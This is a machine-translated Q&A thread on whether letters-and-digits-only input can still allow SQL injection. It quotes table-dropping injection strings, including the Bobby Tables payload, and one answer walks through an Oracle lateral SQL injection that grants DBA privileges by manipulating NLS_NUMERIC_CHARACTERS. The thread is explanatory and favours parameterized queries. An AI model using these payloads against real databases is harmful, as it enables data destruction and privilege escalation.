仅包含字母和数字的字符串可以注入SQL语句

时间:2018-07-08 15:40:11

标签: sql sql-injection

我是SQL注入的新手,并且阅读了一些文章,许多黑客可能会使用';'在其输入中使用空格'',例如:

(1)用户名='123;删除表帐户'

(2)用户名='123和1 = 1'

但是问题是,如果我们只允许用户在客户端输入字母(大写和小写)和数字,则不允许使用其他任何字符,例如空格,分号,是否存在可以插入SQL语句的字符串? ?如果是这样,有人可以给我一个例子吗?谢谢!

请注意,我不问客户端是否可以阻止SQL注入,我只是想知道是否只有带有字母和数字的字符串才可以进行SQL注入。

3 个答案:

答案 0 :(得分:3)

首先,您在客户端所做的任何事情都可以绕过。记住这一点的最简单方法是将“客户端”替换为“在攻击者的计算机上,他们可以完全控制”。

在网站的特定情况下,这可能很简单,就像攻击者在其浏览器上按F12键并编辑页面一样,或者它可能要求攻击者使用其他方法来设计HTTP请求,但您可以做的最多当他们弄清楚时,会使他们减速几分钟。 您无法控制攻击者可以尝试向您发送哪些数据。

第二,我想不出只使用数字和不带重音符号的攻击,但这并不意味着没有一个。另一方面,我想不出许多以这种方式限制输入仍会产生有用功能的地方。基于白名单的验证(在服务器端 )当然有其位置,但是需要针对每种情况提出正确的白名单,这使其成为一种笨拙的安全机制。

因此,最好还是先 ,以确保在使用数据的任何地方都使用正确的转义(转义总是关于输出/使用情况,而不是关于输入的使用情况,而不是关于输入的使用情况) /源),并在可能的情况下将数据与代码分离(例如,使用参数化查询而不是在SQL字符串中包含数据)。完成这项工作后,基于白名单的验证可能是明智的附加步骤。

答案 1 :(得分:3)

从您的所有评论中我了解到,您是在问这个问题:

  

是否可以进行SQL注入,只允许用户输入数字和字符A到Z(大写和小写)?

换句话说,您是说要进行SQL注入,用户需要能够输入Bobby Tables中所示的-'这样的字符,而这种恶意用户输入:

Robert'); DROP TABLE STUDENTS; --

简短回答

是的,有可能。

长期回答

您或我们可能认为没有办法仅使用数字来进行SQL注入,但是可能碰巧有人聪明地找到一种方法。 有人确实找到了Oracle的方法!

想象一下我们具有以下功能:

CREATE OR REPLACE FUNCTION P01
RETURN NUMBER
AUTHID current_user
IS
PRAGMA autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
RETURN 1;
END;

因此非常简单:名为P01的函数将使scott成为dba。在没有授予用户角色特权的情况下,有什么方法可以执行此功能?例如,如果您以非dba身份登录并发出此命令,则该命令将失败:

SET ROLE dba;

它将失败并产生此错误:

set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist

黑客的目标

如何执行功能P01并使自己成为dba?

发现漏洞

这是唯一接受数字参数的函数,但是我们将看到可以在此处进行SQL注入:

1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;

该参数连接到sql语句的末尾。但是为了进行串联,必须将其从数字转换为字符串。弱点是Oracle引擎如何将数字转换为字符串。

  

根据this,Oracle使用会话变量   将NUMERIC值转换为字符串时为NLS_NUMERIC_CHARACTERS。格式   NLS_NUMERIC_CHARACTERS是一个字符串,其中第一个字符指定小数点分隔符,第二个字符指定组分隔符。

如果我们发出以下查询:

SELECT TO_NUMBER('1.01', '0D00') FROM dual;

它将字符串1.01转换为数字1.01。但是,如果我们像这样更改NLS_NUMERIC_CHARACTERS

ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';

并发出以下查询:

SELECT TO_NUMBER('1P01', '0D00') FROM dual;

它将把字符串1P01转换为数字P01(请注意,P是十进制分隔符,因为我们将NLS_NUMERIC_CHARACTERS设置为P)。啊哈!它已将其转换为P01,这也恰好是该函数的名称,这是最终目标……更进一步。

黑客

即使用户没有特权,该用户现在也可以执行以下操作:

EXEC SYS.NUM_PROC(TO_NUMBER('P01', 'D00'));

作为回顾,这里再次是SYS.NUM_PROC的代码:

1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;

由于TO_NUMBER('P01', 'D00')将产生P01作为输出,因此stmt将被分配以下内容:

select object_name from all_objects where object_id = 1P01

,它将立即执行该语句并执行1P01。目标达成。 成功完成了,用户现在就好了!

当然,我不够聪明,无法解决所有这些问题,我从Lateral SQL Injection获得了信息。

答案 2 :(得分:2)

某些情况下,SQL注入使用十六进制编码来从过滤器中隐藏字符串值。如果您的客户端代码仅过滤该值包含字母和数字的情况,那么该值仍允许使用十六进制数字的长字符串,并且服务器将其插入到SQL中时可以对其进行解码。

我同意@IMSoP,您根本不应该依赖客户端代码。任何攻击者都可以修改客户端代码,并绕过您编写的检查。最好在服务器端使用参数化查询。